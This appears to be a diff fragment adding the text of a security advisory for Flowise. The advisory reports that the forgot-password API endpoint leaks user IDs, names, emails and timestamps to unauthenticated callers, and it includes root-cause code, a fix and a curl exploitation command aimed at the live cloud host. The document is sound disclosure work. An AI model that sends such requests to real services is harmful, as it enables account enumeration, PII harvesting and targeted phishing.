+ "details": "## Summary\n\nThe `/api/v1/account/forgot-password` endpoint returns the full user object including PII (id, name, email, status, timestamps) in the response body instead of a generic success message. This exposes sensitive user information to unauthenticated attackers who only need to know a valid email address.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |\n| Affected File | `packages/server/src/enterprise/services/account.service.ts` (lines 517-545) |\n| Endpoint | `POST /api/v1/account/forgot-password` |\n| Authentication | None required |\n| CVSS 3.1 | 3.7 (Low) |\n\n## Root Cause\n\nIn `account.service.ts`, the `forgotPassword` method returns the sanitized user object instead of a simple success acknowledgment:\n\n```typescript\npublic async forgotPassword(data: AccountDTO) {\n // ...\n const user = await this.userService.readUserByEmail(data.user.email, queryRunner)\n if (!user) throw new InternalFlowiseError(StatusCodes.NOT_FOUND, UserErrorMessage.USER_NOT_FOUND)\n\n data.user = user\n // ... password reset logic ...\n\n return sanitizeUser(data.user) // Returns user object with PII\n}\n```\n\nThe `sanitizeUser` function only removes sensitive authentication fields:\n\n```typescript\nexport function sanitizeUser(user: Partial<User>) {\n delete user.credential // password hash\n delete user.tempToken // reset token\n delete user.tokenExpiry\n\n return user // Still contains: id, name, email, status, createdDate, updatedDate\n}\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n1. **Harvest PII**: Collect user IDs, full names, and account metadata\n2. **Profile users**: Determine account creation dates and activity patterns\n3. **Enumerate accounts**: Confirm email existence and gather associated data\n4. **Enable further attacks**: Use harvested data for social engineering or targeted phishing\n\n## Exploitation\n\n```bash\ncurl -X POST \"https://cloud.flowiseai.com/api/v1/account/forgot-password\" \\\n -H \"Content-Type: application/json\" \\\n -d '{\"user\":{\"email\":\"victim@example.com\"}}'\n```\n\n### Evidence\n\n**Request:**\n```http\nPOST /api/v1/account/forgot-password HTTP/1.1\nHost: cloud.flowiseai.com\nContent-Type: application/json\n\n{\"user\":{\"email\":\"vefag54010@naprb.com\"}}\n```\n\n**Response (201 Created):**\n```json\n{\n \"id\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n \"name\": \"Vefag naprb\",\n \"email\": \"vefag54010@naprb.com\",\n \"status\": \"active\",\n \"createdDate\": \"2026-01-17T15:21:59.152Z\",\n \"updatedDate\": \"2026-01-17T15:35:06.492Z\",\n \"createdBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\",\n \"updatedBy\": \"56c3fc72-4e85-49c9-a4b5-d1a46b373a12\"\n}\n```\n\n<img width=\"1582\" height=\"791\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/9880f037-6e21-41d7-a7c8-7057c6775b50\" />\n\n## Exposed Data\n\n| Field | Risk |\n|-------|------|\n| `id` | Internal user UUID - enables targeted attacks |\n| `name` | Full name - PII disclosure |\n| `email` | Email confirmation |\n| `status` | Account state information |\n| `createdDate` | User profiling |\n| `updatedDate` | Activity tracking |\n| `createdBy` / `updatedBy` | Internal reference leak |\n\n## Expected Behavior\n\nA secure forgot-password endpoint should return a generic response regardless of whether the email exists:\n\n```json\n{\"message\": \"If this email exists, a password reset link has been sent.\"}\n```\n\n## References\n\n- [CWE-200: Exposure of Sensitive Information](https://cwe.mitre.org/data/definitions/200.html)\n- [OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html#password-recovery)",
0 commit comments